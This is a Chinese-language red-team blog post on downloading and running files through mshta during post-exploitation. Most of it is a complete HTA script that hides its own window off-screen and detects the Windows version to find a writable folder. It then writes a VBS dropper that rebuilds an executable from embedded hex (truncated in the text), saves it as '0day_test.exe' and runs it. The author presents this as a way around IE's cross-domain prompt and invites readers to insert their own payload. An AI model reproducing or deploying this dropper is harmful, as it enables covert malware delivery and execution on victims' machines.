此文也是对我的收费专栏《网络安全中的红队后渗透技巧,令人眼花缭乱的下载方式》一文的补遗。

以前看三好学生的文章《渗透技巧-从github下载文件的多种方法》,里边提到过用mshta下载文件的递进方法。无论他的hta代码用vbs还是powershell,都无法做到完美下载执行,会弹框提示此计算机上的安全设置禁止访问其它域的数据源,如下图:
如果要做到正常下载,需要改动ie浏览器的安全设置,如下图所示:
增加了可信任站点后,找到通过域访问数据源,选择启用,如下图:
这个方法经过如此改动后,并不能用于后渗透当中,你很难在后渗透当中的命令行里做上图所示的改动。
其实用mshta下载文件时,我们换个思路,用hta来找到当前系统可写目录,然后生成vbs,用生成的vbs并且转换下载文件的16进制或base64进制,然后再用这个vbs来执行,就会完美绕过mshta里的当前域限制了。这个写法我一度想报告给微软,这是一个突破,但后来又懒了,也不明白流程,就算了。具体代码如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000 '让hta框不可见
Function os()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2")
Set colOperatingSystems = objWMIService.execQuery("Select * from Win32_OperatingSystem")
For Each objOperatingSystem In colOperatingSystems
path= objOperatingSystem.Caption
Next
os=path
End Function
newpath="C:ProgramData"
If InStrRev(os(),"10",-1,1)<>0 then
newpath="C:ProgramData"
End If
If InStrRev(os(),"7",-1,1)<>0 then
newpath="C:ProgramDataMicrosoftWindowsDRM"
End If
If InStrRev(os(),"xp",-1,1)<>0 then
newpath="C:docume~1alluse~1"
End If
If InStrRev(os(),"2003",-1,1)<>0 then
newpath="C:docume~1alluse~1"
End If
'以上判断系统来找到当前用户可写目录
Set Fso=CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
Set wf=fso.OpenTextFile(newpath&"dell.vbs",2, True)
wf.write "fp="""&newpath&"0day_test.exe"":set fs=CreateObject(""Scripting.FileSystemObject""):set ws= Createobject(""WScript.Shell""):ss=""4D5A700……省略好多hex"":Set RS = CreateObject(""ADODB.Recordset""):L = Len(ss) / 2:RS.Fields.Append ""m"", 205, L:RS.Open:RS.AddNew:RS(""m"") = ss & ChrB(0):RS.Update:ss = RS(""m"").GetChunk(L):Set s = CreateObject(""ADODB.Stream""):With s: .Mode = 3:.Type = 1:.Open:.Write ss:.SaveToFile fp, 2:End With:ws.run fp"
wf.close
Set wf=Nothing
‘生成dell.vbs,再用dell.vbs来转换hex为二进制的exe
set objShellApp=CreateObject("Shell.Application")
If (fso.FileExists(newpath&"dell.vbs")) Then
Set objFolder = objShellApp.NameSpace(newpath)
objFolder.Items().item("dell.vbs").invokeverb
end If
self.close
’运行这个exe
</script>
<body>
demo
</body>
</HEAD>
</HTML>
里边的具体代码,你可以看我图中的hta下载地址,你只需要下载后改动里边的16进制就可以了。这段代码我只测试过win10和2003。


还没有评论,来说两句吧...